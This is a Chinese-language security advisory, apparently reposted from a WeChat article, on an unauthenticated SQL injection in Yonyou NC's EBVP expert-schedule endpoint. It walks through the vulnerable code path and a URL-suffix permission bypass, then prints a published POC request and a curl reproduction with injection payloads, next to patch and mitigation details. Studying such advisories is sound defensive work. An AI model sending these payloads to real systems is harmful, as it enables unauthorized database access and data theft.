用友NC系統(tǒng)SQL注入漏洞安全通告 一、漏洞概述 漏洞編號(hào) :暫未分配 漏洞類(lèi)型 :SQL注入 影響組件 :電子商務(wù)平臺(tái)(EBVP模塊) 危險(xiǎn)等級(jí) :高危 CVSS評(píng)分 :9.8(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
二、漏洞詳情 1. 漏洞成因 通過(guò) /ebvp/expeval/expertschedule;1.jpg
接口傳遞可控參數(shù) pkevalset
時(shí),后端代碼未對(duì)輸入進(jìn)行有效過(guò)濾,導(dǎo)致攻擊者可構(gòu)造惡意SQL語(yǔ)句實(shí)現(xiàn)任意數(shù)據(jù)查詢(xún)。 下圖為用友NC漏洞預(yù)警(發(fā)現(xiàn)24年的老洞了(資產(chǎn)幾乎打補(bǔ)丁了),閑著沒(méi)事分析下)
關(guān)鍵代碼路徑 :
// EvalScheduleController.java public String expertschedule (@RequestParam String pkevalset) { return evalScheduleService.getEvalSetScheInfoByPk(pkevalset); } // EvalScheduleQueryServiceImpl.java public List<EvalSetVO> getEvalSetScheInfoByPk (String pk) { return iEvalSetWsQueryService.getEvalSetScheInfoByPk(pk); // 未過(guò)濾直接傳參 } // MDBaseDAO.java public List<Object> queryBillsImp (String whereCondStr) { String sql = "SELECT * FROM eval_schedule WHERE pk = '" + whereCondStr + "'" ; // 直接拼接 return mdbaseDao.retrieveByClouse(sql); // 執(zhí)行SQL }
2. 技術(shù)細(xì)節(jié) 注入點(diǎn)分析 : pkevalset
參數(shù)在5層方法調(diào)用后被拼接入SQL語(yǔ)句. 根據(jù)漏洞預(yù)警定位到具體路由,簡(jiǎn)單看下Ebvp業(yè)務(wù)下的過(guò)濾器 EbvpRequestFilter ? 我們只需要 URL 里有這些后綴或者url 就可以繞過(guò)權(quán)限校驗(yàn)(懂的都懂) 接下來(lái)定位到 EvalScheduleController 控制器下 expertschedule 屬性的具體方法先傳參“pkevalset”(無(wú)限制),調(diào)用 service 對(duì)象的getEvalSetScheInfoByPk 方法
跟進(jìn) getEvalSetScheInfoByPk 方法,定位到 EvalScheduleQueryServiceImpl 類(lèi) 可以看到類(lèi)方法 getEvalSetScheInfoByPk 調(diào)用了 IEvalSetWsQueryService 實(shí)例的getEvalSetScheInfoByPk 方法
繼續(xù)跟進(jìn)IEvalSetWsQueryService 實(shí)例的 getEvalSetScheInfoByPk 方法 調(diào)用 this.queryMDVOByPks 方法進(jìn)行數(shù)據(jù)查詢(xún)
往上翻翻 EvalSetQueryServiceImpl 繼承自 DefaultQueryServiceImpl
故DefaultQueryServiceImpl 類(lèi)大概率定義了queryMDVOByPks方法,如下
到MDPersistenceService類(lèi)中去找queryBillOfVOByCond方法,可以看到return到MDBaseDAO對(duì)象的queryBillOfVOByCond方法
跟進(jìn)MDBaseDAO對(duì)象的queryBillOfVOByCond方法,new了一個(gè)VOQueryPersister對(duì)象調(diào)用queryBillsImp方法
跟進(jìn)queryBillsImp方法,可以看到將whereCondStr參數(shù)拼接到SQL語(yǔ)句中,后續(xù)new一個(gè)MDMultiTableDAO 對(duì)象調(diào)用retrieveByClouse方法,將whereCondStr參數(shù)傳入該方法
跟進(jìn)retrieveByClouse方法,可以看到執(zhí)行數(shù)據(jù)庫(kù)查詢(xún)操作
繞過(guò)機(jī)制 :通過(guò) 1' OR 1=1--
等經(jīng)典注入語(yǔ)法繞過(guò)基礎(chǔ)過(guò)濾 數(shù)據(jù)暴露 :可獲取 ALL_USERS
表全量數(shù)據(jù)(示例POC) 三、影響評(píng)估 1. 受影響版本 其他版本需結(jié)合代碼審計(jì)確認(rèn)
已公布POC內(nèi)容
GET /ebvp/expeval/expertschedule;1.jpg?pkevalset=1 '+OR+1111%3d(SELECT+COUNT(*)+FROM+ALL_USERS+T1,ALL_USERS+T2,ALL_USERS+T3,ALL_USERS+T4,ALL_USERS+T5)-- HTTP/1.1 HTTP/1.1 Host:
2. 攻擊向量 攻擊方式 :遠(yuǎn)程無(wú)身份驗(yàn)證攻擊 攻擊目標(biāo) :數(shù)據(jù)庫(kù)敏感信息(用戶(hù)賬號(hào)、配置信息等) 四、修復(fù)方案 1. 官方補(bǔ)丁 NC65專(zhuān)家調(diào)度請(qǐng)求防SQL注入補(bǔ)丁 NCM_NC6.5_000_109902_20240116_CP_399718758 f056abc8f5f7c5408f2c7abc21f07e4df2f80735ec1f11203f9dfbed49cdfe16
部署步驟 :
進(jìn)入【系統(tǒng)管理】→【補(bǔ)丁管理】 2. 臨時(shí)緩解措施 對(duì) pkevalset
參數(shù)進(jìn)行嚴(yán)格的SQL注入過(guò)濾 啟用Web應(yīng)用防火墻(WAF)規(guī)則攔截惡意請(qǐng)求 限制接口訪問(wèn)權(quán)限至授權(quán)用戶(hù) 五、驗(yàn)證方法 1. 漏洞復(fù)現(xiàn)(僅供測(cè)試環(huán)境) curl -X GET \ 'http://target/ebvp/expeval/expertschedule;1.jpg?pkevalset=1%27+OR+1%3D1--' \ -H 'Host: example.com'
成功特征 :返回包含 ALL_USERS
表數(shù)據(jù)的響應(yīng)
2. 補(bǔ)丁驗(yàn)證 SELECT version FROM ncm_patch WHERE patch_code = 'NCM_NC6.5_000_109902_20240116_CP_399718758' ;
若返回有效記錄則表明補(bǔ)丁已安裝
六、擴(kuò)展分析 1. 攻擊鏈推演 用戶(hù)請(qǐng)求 → 參數(shù)注入 → SQL拼接 → 數(shù)據(jù)庫(kù)執(zhí)行 → 敏感數(shù)據(jù)回顯
2. 類(lèi)似漏洞預(yù)防建議 實(shí)施OWASP ESAPI輸入驗(yàn)證框架 使用JPA/Hibernate等ORM框架的預(yù)編譯功能 七、參考資料 用友官方安全公告: https://www.yonyou.com/security SQL注入防護(hù)指南:OWASP Cheat Sheet Series 注 :本文檔涉及攻擊技術(shù)僅用于授權(quán)滲透測(cè)試和安全研究,請(qǐng)遵守相關(guān)法律法規(guī)。
閱讀原文:https://mp.weixin.qq.com/s/7YAlGWyQH_jkVjPWjNvNPA